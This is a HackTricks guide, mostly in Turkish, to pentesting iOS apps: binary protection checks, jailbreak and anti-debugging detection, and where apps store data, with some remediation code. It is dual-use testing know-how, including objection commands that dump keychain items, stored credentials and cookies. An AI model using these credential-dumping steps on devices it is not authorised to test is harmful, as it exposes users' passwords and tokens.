iOS Pentesting

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

iOS Temelleri

iOS Basics

Test Ortamı

In this page you can find information about the iOS simulator, emulators and jailbreaking:

iOS Testing Environment

İlk Analiz

Temel iOS Test İşlemleri

Test sırasında birkaç işlem önerilecek (cihaza bağlanma, dosya okuma/yazma/yükleme/indirme, bazı araçları kullanma…). Bu işlemlerden herhangi birini nasıl yapacağınızı bilmiyorsanız lütfen, sayfayı okumaya başlayın:

iOS Basic Testing Operations

Tip

Aşağıdaki adımlar için uygulama cihazda kurulu olmalı ve uygulamanın IPA file’ı önceden elde edilmiş olmalıdır.
Öğrenmek için Basic iOS Testing Operations sayfasını okuyun.

Temel Statik Analiz

Bazı ilginç iOS - IPA dosyası decompiler’ları:

IPA dosyasına otomatik bir Statik Analiz uygulamak için MobSF aracını kullanmanız önerilir.

Binary’de bulunan korumaların tespiti:

  • PIE (Position Independent Executable): Etkinleştirildiğinde, uygulama her çalıştırıldığında rastgele bir bellek adresine yüklenir ve başlangıç bellek adresini tahmin etmeyi zorlaştırır.
otool -hv <app-binary> | grep PIE   # It should include the PIE flag
  • Stack Canaries: Yığın bütünlüğünü doğrulamak için, bir fonksiyon çağrılmadan önce yığına bir ‘canary’ değeri yerleştirilir ve fonksiyon bitiminde tekrar doğrulanır.
otool -I -v <app-binary> | grep stack_chk   # It should include the symbols: stack_chk_guard and stack_chk_fail
  • ARC (Automatic Reference Counting): Yaygın bellek bozulma hatalarını önlemek için kullanılır.
otool -I -v <app-binary> | grep objc_release   # It should include the _objc_release symbol
  • Encrypted Binary: Binary şifrelenmiş olmalıdır.
otool -arch all -Vl <app-binary> | grep -A5 LC_ENCRYPT   # The cryptid should be 1

Hassas/Güvenli Olmayan Fonksiyonların Tespiti

  • Zayıf Hash Algoritmaları
# On the iOS device
otool -Iv <app> | grep -w "_CC_MD5"
otool -Iv <app> | grep -w "_CC_SHA1"

# On linux
grep -iER "_CC_MD5"
grep -iER "_CC_SHA1"
  • Güvensiz Random Fonksiyonları
# On the iOS device
otool -Iv <app> | grep -w "_random"
otool -Iv <app> | grep -w "_srand"
otool -Iv <app> | grep -w "_rand"

# On linux
grep -iER "_random"
grep -iER "_srand"
grep -iER "_rand"
  • Güvensiz ‘Malloc’ Fonksiyonu
# On the iOS device
otool -Iv <app> | grep -w "_malloc"

# On linux
grep -iER "_malloc"
  • Güvensiz ve Zafiyete Açık Fonksiyonlar
# On the iOS device
otool -Iv <app> | grep -w "_gets"
otool -Iv <app> | grep -w "_memcpy"
otool -Iv <app> | grep -w "_strncpy"
otool -Iv <app> | grep -w "_strlen"
otool -Iv <app> | grep -w "_vsnprintf"
otool -Iv <app> | grep -w "_sscanf"
otool -Iv <app> | grep -w "_strtok"
otool -Iv <app> | grep -w "_alloca"
otool -Iv <app> | grep -w "_sprintf"
otool -Iv <app> | grep -w "_printf"
otool -Iv <app> | grep -w "_vsprintf"

# On linux
grep -R "_gets"
grep -iER "_memcpy"
grep -iER "_strncpy"
grep -iER "_strlen"
grep -iER "_vsnprintf"
grep -iER "_sscanf"
grep -iER "_strtok"
grep -iER "_alloca"
grep -iER "_sprintf"
grep -iER "_printf"
grep -iER "_vsprintf"

Yaygın Jailbreak tespit yöntemleri

  • File System Checks: /Applications/Cydia.app veya /Library/MobileSubstrate/MobileSubstrate.dylib gibi yaygın jailbreak dosya ve dizinlerinin varlığına bakın.
  • Sandbox Violations: Jailbreak yapmamış cihazlarda engellenmesi gereken dosya sistemi alanlarına erişmeyi deneyin.
  • API Checks: fork() ile child process oluşturmak veya /bin/sh var mı görmek için system() gibi yasak çağrıların kullanılabilirliğini kontrol edin.
  • Process Checks: Cydia, Substrate veya ssh gibi bilinen jailbreak ile ilgili süreçlerin varlığını izleyin.
  • Kernel Exploits: Jailbreak’lerde yaygın olarak kullanılan kernel exploit’lerin varlığını kontrol edin.
  • Environment Variables: DYLD_INSERT_LIBRARIES gibi jailbreak belirtisi olabilecek environment variable’ları inceleyin.
  • Libraries Check: Uygulama sürecine yüklenmiş kütüphaneleri kontrol edin.
  • Check schemes: canOpenURL(URL(string: "cydia://")) gibi kontrol yöntemlerini kullanın.

Yaygın Anti-Debugging tespit yöntemleri

  • Check for Debugger Presence: Bir debugger’ın bağlı olup olmadığını kontrol etmek için sysctl veya diğer yöntemleri kullanın.
  • Anti-Debugging APIs: ptrace veya SIGSTOP gibi anti-debugging API çağrılarına (ör. ptrace(PT_DENY_ATTACH, 0, 0, 0)) bakın.
  • Timing Checks: Bazı işlemler için geçen süreyi ölçün ve debugging belirtileri olabilecek tutarsızlıklara bakın.
  • Memory Checks: Bilinen debugger artifaktları veya değişiklikleri için belleği inceleyin.
  • Environment Variables: Debugging oturumuna işaret edebilecek environment variable’ları kontrol edin.
  • Mach Ports: Mach exception port’larının debugger’lar tarafından kullanılıp kullanılmadığını tespit edin.

Temel Dinamik Analiz

MobSF tarafından yapılan dinamik analizlere göz atın. Farklı görüntüler arasında gezinmeniz ve onlarla etkileşim kurmanız gerekecek, ancak bu işlem sırasında birkaç sınıfın hook’lacağını ve işlemi tamamladığınızda bir rapor hazırlanacağını unutmayın.

Yüklü Uygulamaları Listeleme

Yüklü uygulamaların bundle identifier’ını belirlemek için frida-ps -Uai komutunu kullanın:

$ frida-ps -Uai
PID  Name                 Identifier
----  -------------------  -----------------------------------------
6847  Calendar             com.apple.mobilecal
6815  Mail                 com.apple.mobilemail
-  App Store            com.apple.AppStore
-  Apple Store          com.apple.store.Jolly
-  Calculator           com.apple.calculator
-  Camera               com.apple.camera
-  iGoat-Swift          OWASP.iGoat-Swift

Temel Enumeration & Hooking

Uygulamanın bileşenlerini enumerate etmeyi ve objection ile method’ları ve class’ları kolayca hook etmeyi öğrenin:

iOS Hooking With Objection

IPA Yapısı

Bir IPA file’ının yapısı temelde bir zipped package’ın yapısıdır. Uzantısını .zip olarak değiştirerek içeriği decompressed edilip görülebilir. Bu yapıda bir Bundle, kurulum için hazır şekilde paketlenmiş bir uygulamayı temsil eder. İçerisinde uygulamanın kaynaklarını kapsayan <NAME>.app adlı bir dizin bulunur.

  • Info.plist: Bu dosya uygulamanın spesifik konfigürasyon detaylarını tutar.
  • _CodeSignature/: Bu dizin, bundle içindeki tüm dosyaların bütünlüğünü garanti eden bir signature içeren bir plist dosyası içerir.
  • Assets.car: İkonlar gibi asset dosyalarını depolayan sıkıştırılmış bir arşivdir.
  • Frameworks/: Bu klasör uygulamanın native kütüphanelerini barındırır; bunlar .dylib veya .framework dosyaları olabilir.
  • PlugIns/: Bu, .appex dosyaları olarak bilinen uygulama uzantılarını içerebilir, her zaman bulunmayabilir. * Core Data: Uygulamanızın kalıcı verilerini çevrimdışı kullanım için kaydetmek, geçici verileri cache’lemek ve tek bir cihazda geri alma (undo) işlevi eklemek için kullanılır. Tek bir iCloud hesabındaki birden çok cihaz arasında veri senkronizasyonu yapmak için Core Data, şemanızı otomatik olarak bir CloudKit container’ına yansıtır.
  • PkgInfo: PkgInfo dosyası, uygulamanızın veya bundle’ınızın type ve creator kodlarını belirtmenin alternatif bir yoludur.
  • en.lproj, fr.proj, Base.lproj: Belirli diller için kaynakları içeren dil paketleridir ve bir dil desteklenmiyorsa varsayılan kaynak sağlar.
  • Güvenlik: _CodeSignature/ dizini, dijital imzalar aracılığıyla paketlenmiş tüm dosyaların bütünlüğünü doğrulayarak uygulamanın güvenliğinde kritik bir rol oynar.
  • Varlık Yönetimi: Assets.car dosyası, grafik varlıklarını verimli yönetmek için sıkıştırma kullanır; bu, uygulama performansını optimize etmek ve toplam boyutunu azaltmak için önemlidir.
  • Frameworks ve PlugIns: Bu dizinler iOS uygulamalarının modülerliğini vurgular; geliştiricilerin yeniden kullanılabilir kod kütüphaneleri (Frameworks/) eklemesine ve uygulama işlevselliğini genişletmesine (PlugIns/) olanak tanır.
  • Yerelleştirme: Yapı, belirli dil paketleri için kaynaklar dahil ederek küresel uygulama erişimini kolaylaştıracak şekilde birden çok dili destekler.

Info.plist

Info.plist, iOS uygulamaları için bir köşe taşı görevi görür; anahtar-değer çiftleri şeklinde önemli konfigürasyon verilerini kapsar. Bu dosya yalnızca uygulamalar için değil, aynı zamanda paketlenmiş uygulama uzantıları ve framework’ler için de gereklidir. XML veya ikili formatta yapılandırılır ve uygulama izinlerinden güvenlik konfigürasyonlarına kadar kritik bilgileri barındırır. Mevcut anahtarların ayrıntılı incelemesi için Apple Developer Documentation başvurulabilir.

Bu dosya ile daha erişilebilir bir formatta çalışmak isteyenler için XML dönüşümü, macOS’ta plutil (10.2 ve sonraki sürümlerde yerel olarak mevcuttur) veya Linux’ta plistutil kullanılarak zahmetsizce gerçekleştirilebilir. Dönüşüm komutları şu şekildedir:

  • For macOS:
$ plutil -convert xml1 Info.plist
  • Linux için:
$ apt install libplist-utils
$ plistutil -i Info.plist -o Info_xml.plist

Info.plist dosyasının açığa çıkarabileceği sayısız bilgi arasında, dikkat çekici girdiler uygulama izin dizeleri (UsageDescription), özel URL şemaları (CFBundleURLTypes) ve App Transport Security için yapılandırmalar (NSAppTransportSecurity) içerir. Bu girdiler, UTExportedTypeDeclarations / UTImportedTypeDeclarations gibi dışa/ithal edilmiş özel belge türleriyle birlikte, dosyayı inceleyerek veya basit bir grep komutu kullanarak kolayca bulunabilir:

$ grep -i <keyword> Info.plist

Veri Yolları

iOS ortamında dizinler özellikle sistem uygulamaları ve kullanıcı tarafından yüklenen uygulamalar için ayrılmıştır. Sistem uygulamaları /Applications dizininde bulunurken, kullanıcı tarafından yüklenen uygulamalar /var/mobile/containers/Data/Application/ altında yer alır. Bu uygulamalara, dizin isimlerinin rastgeleliği nedeniyle uygulamanın klasörünü elle bulmayı zorlaştıran 128-bit UUID olarak bilinen benzersiz bir kimlik atanır.

Warning

iOS’ta uygulamalar sandbox içinde olmak zorunda olduğundan, her uygulamanın ayrıca $HOME/Library/Containers içinde uygulamanın CFBundleIdentifier’ı ile isimlendirilmiş bir klasörü olacaktır.

Bununla birlikte, her iki klasörde (veri & container klasörleri) her iki dosyayı MCMetadataIdentifier anahtarında birbirine bağlayan .com.apple.mobile_container_manager.metadata.plist dosyası bulunur.)

Kullanıcı tarafından yüklenen bir uygulamanın kurulum dizinini bulmayı kolaylaştırmak için, objection tool yararlı bir komut sağlar: env. Bu komut ilgili uygulama için ayrıntılı dizin bilgilerini gösterir. Aşağıda bu komutun nasıl kullanılacağına dair bir örnek vardır:

OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # env

Name               Path
-----------------  -------------------------------------------------------------------------------------------
BundlePath         /var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app
CachesDirectory    /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/Library/Caches
DocumentDirectory  /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/Documents
LibraryDirectory   /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/Library

Alternatif olarak, uygulama adı /private/var/containers içinde find komutu kullanılarak aranabilir:

find /private/var/containers -name "Progname*"

ps ve lsof gibi komutlar, sırasıyla uygulamanın sürecini belirlemek ve açık dosyaları listelemek için de kullanılabilir; bu da uygulamanın aktif dizin yolları hakkında bilgi sağlar:

ps -ef | grep -i <app-name>
lsof -p <pid> | grep -i "/containers" | head -n 1

Bundle dizini:

  • AppName.app
  • Bu, daha önce IPA içinde görülen Application Bundle’dır; uygulamanın önemli verilerini, statik içeriğini ve uygulamanın derlenmiş ikili dosyasını içerir.
  • Bu dizin kullanıcılara görünür, ancak kullanıcılar buraya yazamaz.
  • Bu dizindeki içerik yedeklenmez.
  • Bu klasörün içeriği kod imzasını doğrulamak için kullanılır.

Veri dizini:

  • Documents/
  • Tüm kullanıcı tarafından oluşturulan verileri içerir. Bu verilerin oluşturulmasını uygulama son kullanıcısı başlatır.
  • Kullanıcılara görünür ve kullanıcılar buraya yazabilir.
  • Bu dizindeki içerik yedeklenir.
  • Uygulama, yolları NSURLIsExcludedFromBackupKey ayarıyla devre dışı bırakabilir.
  • Library/
  • Kullanıcıya özel olmayan tüm dosyaları içerir, örneğin caches, preferences, cookies ve property list (plist) yapılandırma dosyaları.
  • iOS uygulamaları genellikle Application Support ve Caches alt dizinlerini kullanır, ancak uygulama özel alt dizinler oluşturabilir.
  • Library/Caches/
  • Yarı kalıcı önbellek dosyalarını içerir.
  • Kullanıcılara görünmez ve kullanıcılar buraya yazamaz.
  • Bu dizindeki içerik yedeklenmez.
  • Uygulama çalışmıyorken ve depolama alanı azaldığında, OS bu dizindeki dosyaları otomatik olarak silebilir.
  • Library/Application Support/
  • Uygulamayı çalıştırmak için gerekli kalıcı dosyaları içerir.
  • Kullanıcılara görünmez ve kullanıcılar buraya yazamaz.
  • Bu dizindeki içerik yedeklenir.
  • Uygulama, yolları NSURLIsExcludedFromBackupKey ayarıyla devre dışı bırakabilir.
  • Library/Preferences/
  • Uygulama yeniden başlatıldıktan sonra bile kalıcı olabilecek özellikleri depolamak için kullanılır.
  • Bilgiler, uygulama sandbox’ı içinde [BUNDLE_ID].plist adlı bir plist dosyasında şifresiz olarak kaydedilir.
  • NSUserDefaults kullanılarak saklanan tüm anahtar/değer çiftleri bu dosyada bulunabilir.
  • tmp/
  • Uygulama başlatmaları arasında kalması gerekmeyen geçici dosyaları yazmak için bu dizini kullanın.
  • Kalıcı olmayan önbelleğe alınmış dosyalar içerir.
  • Kullanıcılara görünmez.
  • Bu dizindeki içerik yedeklenmez.
  • Uygulama çalışmıyorken ve depolama alanı azaldığında, OS bu dizindeki dosyaları otomatik olarak silebilir.

Let’s take a closer look at iGoat-Swift’in Application Bundle (.app) dizinine içinde the Bundle dizini (/var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app):

OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # ls
NSFileType      Perms  NSFileProtection    ...  Name
------------  -------  ------------------  ...  --------------------------------------
Regular           420  None                ...  rutger.html
Regular           420  None                ...  mansi.html
Regular           420  None                ...  splash.html
Regular           420  None                ...  about.html

Regular           420  None                ...  LICENSE.txt
Regular           420  None                ...  Sentinel.txt
Regular           420  None                ...  README.txt

Binary Reversing

<application-name>.app klasörünün içinde <application-name> adlı bir binary dosyası bulacaksınız. Bu, yürütülecek dosyadır. Binary üzerinde temel bir inceleme yapmak için otool aracını kullanabilirsiniz:

otool -Vh DVIA-v2 #Check some compilation attributes
magic  cputype cpusubtype  caps    filetype ncmds sizeofcmds      flags
MH_MAGIC_64    ARM64        ALL  0x00     EXECUTE    65       7112   NOUNDEFS DYLDLINK TWOLEVEL WEAK_DEFINES BINDS_TO_WEAK PIE

otool -L DVIA-v2 #Get third party libraries
DVIA-v2:
/usr/lib/libc++.1.dylib (compatibility version 1.0.0, current version 400.9.1)
/usr/lib/libsqlite3.dylib (compatibility version 9.0.0, current version 274.6.0)
/usr/lib/libz.1.dylib (compatibility version 1.0.0, current version 1.2.11)
@rpath/Bolts.framework/Bolts (compatibility version 1.0.0, current version 1.0.0)
[...]

Uygulamanın şifrelenmiş olup olmadığını kontrol edin

Aşağıdakiler için herhangi bir çıktı olup olmadığını kontrol edin:

otool -l <app-binary> | grep -A 4 LC_ENCRYPTION_INFO

Disassembling the binary

Disassemble the text section:

otool -tV DVIA-v2
DVIA-v2:
(__TEXT,__text) section
+[DDLog initialize]:
0000000100004ab8    sub    sp, sp, #0x60
0000000100004abc    stp    x29, x30, [sp, #0x50]   ; Latency: 6
0000000100004ac0    add    x29, sp, #0x50
0000000100004ac4    sub    x8, x29, #0x10
0000000100004ac8    mov    x9, #0x0
0000000100004acc    adrp    x10, 1098 ; 0x10044e000
0000000100004ad0    add    x10, x10, #0x268

Örnek uygulamanın Objective-C bölümünü yazdırmak için şunu kullanabilirsiniz:

otool -oV DVIA-v2
DVIA-v2:
Contents of (__DATA,__objc_classlist) section
00000001003dd5b8 0x1004423d0 _OBJC_CLASS_$_DDLog
isa        0x1004423a8 _OBJC_METACLASS_$_DDLog
superclass 0x0 _OBJC_CLASS_$_NSObject
cache      0x0 __objc_empty_cache
vtable     0x0
data       0x1003de748
flags          0x80
instanceStart  8

Daha kompakt Objective-C kodu elde etmek için class-dump kullanabilirsiniz:

class-dump some-app
//
//     Generated by class-dump 3.5 (64 bit).
//
//     class-dump is Copyright (C) 1997-1998, 2000-2001, 2004-2013 by Steve Nygard.
//

#pragma mark Named Structures

struct CGPoint {
double _field1;
double _field2;
};

struct CGRect {
struct CGPoint _field1;
struct CGSize _field2;
};

struct CGSize {
double _field1;
double _field2;
};

Bununla birlikte, binary’yi disassemble etmek için en iyi seçenekler: Hopper ve IDA.

Veri Depolama

iOS’un cihazda verileri nasıl sakladığını öğrenmek için bu sayfayı okuyun:

iOS Basics

Warning

Aşağıdaki bilgi saklama yerleri uygulamayı yükledikten hemen sonra, uygulamanın tüm fonksiyonlarını kontrol ettikten sonra ve hatta bir kullanıcıdan çıkış yapıp başka bir kullanıcıyla giriş yaptıktan sonra kontrol edilmelidir.
Amaç, uygulamanın, mevcut kullanıcının ve önceki giriş yapmış kullanıcıların korumasız hassas bilgilerini (parolalar, token’lar) bulmaktır.

Plist

plist dosyaları anahtar-değer çiftleri içeren yapılandırılmış XML dosyalarıdır. Kalıcı veri saklama yöntemi olduğundan bazen bu dosyalarda hassas bilgiler bulunabilir. Uygulamayı yükledikten ve yoğun şekilde kullandıktan sonra bu dosyaları kontrol etmek; yeni veri yazılıp yazılmadığını görmek için önerilir.

plist dosyalarında veriyi kalıcı hale getirmenin en yaygın yolu NSUserDefaults kullanmaktır. Bu plist dosyası uygulama sandbox’ı içinde Library/Preferences/<appBundleID>.plist yolunda saklanır.

The NSUserDefaults class provides a programmatic interface for interacting with the default system. The default system allows an application to customize its behaviour according to user preferences. Data saved by NSUserDefaults can be viewed in the application bundle. This class stores data in a plist file, but it’s meant to be used with small amounts of data.

Bu verilere artık güvenilir bir bilgisayar üzerinden doğrudan erişilemez, ancak bir backup yapılarak erişilebilir.

You can dump the information saved using NSUserDefaults using objection’s ios nsuserdefaults get

Uygulama tarafından kullanılan tüm plist dosyalarını bulmak için /private/var/mobile/Containers/Data/Application/{APPID} dizinine erişip şu komutu çalıştırabilirsiniz:

find ./ -name "*.plist"

XML or binary (bplist) formatındaki dosyaları XML’e dönüştürmek için, işletim sisteminize bağlı çeşitli yöntemler mevcuttur:

macOS Kullanıcıları İçin: Bu amaç için plutil komutunu kullanın. Bu, macOS (10.2+) içinde yerleşik bir araçtır:

$ plutil -convert xml1 Info.plist

Linux kullanıcıları için: Önce libplist-utils paketini yükleyin, sonra dosyanızı dönüştürmek için plistutil kullanın:

$ apt install libplist-utils
$ plistutil -i Info.plist -o Info_xml.plist

Objection oturumu içinde: Mobil uygulamaları analiz etmek için, belirli bir komut plist dosyalarını doğrudan dönüştürmenizi sağlar:

ios plist cat /private/var/mobile/Containers/Data/Application/<Application-UUID>/Library/Preferences/com.some.package.app.plist

Core Data

Core Data uygulamanızdaki nesnelerin model katmanını yönetmek için bir framework’tür. Core Data can use SQLite as its persistent store, ancak framework kendisi bir veritabanı değildir.
CoreData varsayılan olarak verilerini şifrelemez. Ancak CoreData’ya ek bir şifreleme katmanı eklenebilir. Daha fazla bilgi için GitHub Repo’ya bakın.

Bir uygulamanın SQLite Core Data bilgilerini şu yolda bulabilirsiniz: /private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support

Eğer SQLite’ı açıp hassas bilgilere erişebiliyorsanız, bir yanlış yapılandırma buldunuz.

-(void)storeDetails {
AppDelegate * appDelegate = (AppDelegate *)(UIApplication.sharedApplication.delegate);

NSManagedObjectContext *context =[appDelegate managedObjectContext];

User *user = [self fetchUser];
if (user) {
return;
}
user = [NSEntityDescription insertNewObjectForEntityForName:@"User"
inManagedObjectContext:context];
user.email = CoreDataEmail;
user.password = CoreDataPassword;
NSError *error;
if (![context save:&error]) {
NSLog(@"Error in saving data: %@", [error localizedDescription]);

}else{
NSLog(@"data stored in core data");
}
}

YapDatabase

YapDatabase SQLite üzerine kurulmuş bir anahtar/değer deposudur.
Yap veritabanları SQLite veritabanı olduğundan, bunları önceki bölümde önerilen komutla bulabilirsiniz.

Diğer SQLite Veritabanları

Uygulamaların kendi SQLite veritabanlarını oluşturması yaygındır. Bu veritabanlarında hassas veri depolanmış olabilir ve şifrelenmeden bırakılmış olabilirler. Bu yüzden uygulama dizinindeki her veritabanını kontrol etmek her zaman ilginçtir. Bu nedenle verilerin kaydedildiği uygulama dizinine gidin (/private/var/mobile/Containers/Data/Application/{APPID})

find ./ -name "*.sqlite" -or -name "*.db"

Firebase Real-Time Databases

Geliştiriciler, Firebase Real-Time Databases aracılığıyla bir NoSQL bulut tabanlı veritabanında veri depolayıp senkronize edebilir. JSON formatında saklanan veriler, bağlı tüm istemcilere gerçek zamanlı olarak senkronize edilir.

You can find how to check for misconfigured Firebase databases here:

Firebase Database

Realm veritabanları

Realm Objective-C and Realm Swift Apple tarafından sağlanmayan güçlü bir veri depolama alternatifi sunarlar. Varsayılan olarak verileri şifrelenmemiş olarak depolarlar; şifreleme ise belirli yapılandırmalarla kullanılabilir.

Veritabanları şu konumda bulunur: /private/var/mobile/Containers/Data/Application/{APPID}. Bu dosyaları incelemek için şu gibi komutlar kullanılabilir:

iPhone:/private/var/mobile/Containers/Data/Application/A079DF84-726C-4AEA-A194-805B97B3684A/Documents root# ls
default.realm  default.realm.lock  default.realm.management/  default.realm.note|

$ find ./ -name "*.realm*"

Bu veritabanı dosyalarını görüntülemek için Realm Studio aracı önerilir.

Realm veritabanı içinde şifreleme uygulamak için aşağıdaki kod parçası kullanılabilir:

// Open the encrypted Realm file where getKey() is a method to obtain a key from the Keychain or a server
let config = Realm.Configuration(encryptionKey: getKey())
do {
let realm = try Realm(configuration: config)
// Use the Realm as normal
} catch let error as NSError {
// If the encryption key is wrong, `error` will say that it's an invalid database
fatalError("Error opening realm: \(error)")
}

Couchbase Lite Veritabanları

Couchbase Lite hafif ve gömülü bir veritabanı motoru olarak tanımlanır ve belge-odaklı (NoSQL) yaklaşımı izler. iOS ve macOS için yerel olacak şekilde tasarlanmıştır; verileri sorunsuz şekilde senkronize etme yeteneği sunar.

Bir cihazda olası Couchbase veritabanlarını belirlemek için aşağıdaki dizin incelenmelidir:

ls /private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support/

Çerezler

iOS, uygulamaların çerezlerini her uygulamanın klasörünün içindeki Library/Cookies/cookies.binarycookies dosyasında saklar. Ancak geliştiriciler bazen bunları keychain’e kaydetmeyi tercih eder; çünkü bahsi geçen çerez dosyasına yedeklerden erişilebiliyor.

Çerez dosyasını incelemek için this python script kullanabilir veya objection’ın ios cookies get.
Ayrıca objection’ı kullanarak bu dosyaları JSON formatına dönüştürebilir ve verileri inceleyebilirsiniz.

...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # ios cookies get --json
[
{
"domain": "highaltitudehacks.com",
"expiresDate": "2051-09-15 07:46:43 +0000",
"isHTTPOnly": "false",
"isSecure": "false",
"name": "username",
"path": "/",
"value": "admin123",
"version": "0"
}
]

Önbellek

Varsayılan olarak NSURLSession, HTTP requests and responses in the Cache.db veritabanında verileri saklar. Bu veritabanı, tokenlar, kullanıcı adları veya başka herhangi bir hassas bilgi önbelleğe alınmışsa hassas veriler içerebilir. Önbelleğe alınan bilgileri bulmak için uygulamanın veri dizinini (/var/mobile/Containers/Data/Application/<UUID>) açın ve /Library/Caches/<Bundle Identifier> konumuna gidin. WebKit cache is also being stored in the Cache.db dosyasında da saklanır. Objection sqlite connect Cache.db komutuyla veritabanını açıp etkileşim kurabilir, çünkü bu bir normal SQLite veritabanı.

Bu verilerin önbelleğe alınmasının devre dışı bırakılması önerilir, çünkü istek veya yanıtta hassas bilgiler bulunabilir. Aşağıdaki liste bunu başarmanın farklı yollarını gösterir:

  1. Logout sonrası önbelleğe alınmış yanıtların kaldırılması önerilir. Bu, Apple tarafından sağlanan removeAllCachedResponses yöntemiyle yapılabilir. Bu yöntemi şu şekilde çağırabilirsiniz:

URLCache.shared.removeAllCachedResponses()

Bu yöntem Cache.db dosyasındaki tüm önbelleğe alınmış istekleri ve yanıtları kaldıracaktır.

  1. Eğer cookie avantajını kullanmanıza gerek yoksa, URLSession’ın .ephemeral configuration özelliğini kullanmanız önerilir; bu, cookie ve cache kaydetmeyi devre dışı bırakır.

Apple documentation:

An ephemeral session configuration object is similar to a default session configuration (see default), except that the corresponding session object doesn’t store caches, credential stores, or any session-related data to disk. Instead, session-related data is stored in RAM. The only time an ephemeral session writes data to disk is when you tell it to write the contents of a URL to a file.

  1. Cache, Cache Policy’yi .notAllowed olarak ayarlayarak da devre dışı bırakılabilir. Bu, bellekte veya diskte herhangi bir şekilde Cache depolanmasını engeller.

Anlık Görüntüler

Home düğmesine her bastığınızda, iOS uygulama geçişlerini daha düzgün yapmak için mevcut ekranın anlık görüntüsünü alır. Ancak, mevcut ekranda hassas veri varsa, bu görüntüde kaydedilir (bu durum yeniden başlatmalar arasında kalıcıdır). Bunlar, uygulamalar arasında geçiş yapmak için ana ekrana çift dokunarak erişebileceğiniz anlık görüntülerdir.

iPhone jailbreakli değilse, attacker bu ekran görüntülerini görebilmek için cihaza erişiminin açık olmasına ihtiyaç duyar. Varsayılan olarak son snapshot, uygulamanın sandbox’ında Library/Caches/Snapshots/ veya Library/SplashBoard/Snapshots klasöründe saklanır (güvenilir bilgisayarlar iOX 7.0’dan itibaren dosya sistemine erişemez).

Bu kötü davranışı önlemenin bir yolu, ApplicationDidEnterBackground() fonksiyonunu kullanarak anlık görüntü alınmadan önce ekranı boş bırakmak veya hassas verileri kaldırmaktır.

Aşağıda varsayılan bir ekran görüntüsü ayarlayacak örnek bir düzeltme yöntemi bulunmaktadır.

Swift:

private var backgroundImage: UIImageView?

func applicationDidEnterBackground(_ application: UIApplication) {
let myBanner = UIImageView(image: #imageLiteral(resourceName: "overlayImage"))
myBanner.frame = UIScreen.main.bounds
backgroundImage = myBanner
window?.addSubview(myBanner)
}

func applicationWillEnterForeground(_ application: UIApplication) {
backgroundImage?.removeFromSuperview()
}

Objective-C:

@property (UIImageView *)backgroundImage;

- (void)applicationDidEnterBackground:(UIApplication *)application {
UIImageView *myBanner = [[UIImageView alloc] initWithImage:@"overlayImage.png"];
self.backgroundImage = myBanner;
self.backgroundImage.bounds = UIScreen.mainScreen.bounds;
[self.window addSubview:myBanner];
}

- (void)applicationWillEnterForeground:(UIApplication *)application {
[self.backgroundImage removeFromSuperview];
}

Bu, uygulama arka plana alındığında arka plan resmini overlayImage.png olarak ayarlar. Bu, hassas veri leaks’ını engeller çünkü overlayImage.png her zaman mevcut görünümün üzerine yazacaktır.

Keychain

iOS keychain’e erişim ve yönetim için, jailbroken devices için uygun olan Keychain-Dumper gibi araçlar mevcuttur. Ayrıca, Objection benzer amaçlar için ios keychain dump komutunu sağlar.

Kimlik Bilgilerinin Saklanması

The NSURLCredential class is ideal for saving sensitive information directly in the keychain, bypassing the need for NSUserDefaults or other wrappers. To store credentials after login, the following Swift code is used:

NSURLCredential *credential;
credential = [NSURLCredential credentialWithUser:username password:password persistence:NSURLCredentialPersistencePermanent];
[[NSURLCredentialStorage sharedCredentialStorage] setCredential:credential forProtectionSpace:self.loginProtectionSpace];

Bu depolanmış kimlik bilgilerini çıkarmak için Objection’ın ios nsurlcredentialstorage dump komutu kullanılır.

Özel Klavyeler ve Klavye Önbelleği

iOS 8.0’dan itibaren kullanıcılar özel klavye eklentileri yükleyebilir; bunlar Ayarlar > Genel > Klavye > Klavyeler altında yönetilebilir. Bu klavyeler genişletilmiş işlevsellik sunsa da keystroke logging ve verileri harici sunuculara iletme riski taşırlar; ağ erişimi gerektiren klavyeler hakkında kullanıcılara bildirimde bulunulur. Uygulamalar, hassas bilgi girişi için özel klavyelerin kullanımını kısıtlayabilir ve kısıtlamalıdır.

Güvenlik Önerileri:

  • Artırılmış güvenlik için üçüncü taraf klavyelerin devre dışı bırakılması önerilir.
  • Varsayılan iOS klavyesinin otomatik düzeltme ve otomatik öneri özelliklerinin hassas bilgileri Library/Keyboard/{locale}-dynamic-text.dat veya /private/var/mobile/Library/Keyboard/dynamic-text.dat konumundaki önbellek dosyalarına kaydedebileceğinin farkında olun. Bu önbellek dosyaları düzenli olarak hassas veriler açısından kontrol edilmelidir. Önbellekteki verileri temizlemek için Ayarlar > Genel > Sıfırla > Klavye Sözlüğünü Sıfırla ile klavye sözlüğünün sıfırlanması önerilir.
  • Ağ trafiğini yakalamak, bir özel klavyenin keystroke’ları uzaktan iletip iletmediğini ortaya çıkarabilir.

Metin Alanı Önbelleklemesini Engelleme

The UITextInputTraits protocol offers properties to manage autocorrection and secure text entry, essential for preventing sensitive information caching. For example, disabling autocorrection and enabling secure text entry can be achieved with:

textObject.autocorrectionType = UITextAutocorrectionTypeNo;
textObject.secureTextEntry = YES;

Ek olarak, geliştiriciler özellikle parolalar ve PIN’ler gibi hassas bilgilerin girildiği metin alanlarının önbelleğe alınmasını devre dışı bırakmak için autocorrectionType’ı UITextAutocorrectionTypeNo ve secureTextEntry’yi YES olarak ayarlamalıdır.

UITextField *textField = [[UITextField alloc] initWithFrame:frame];
textField.autocorrectionType = UITextAutocorrectionTypeNo;

Günlükler

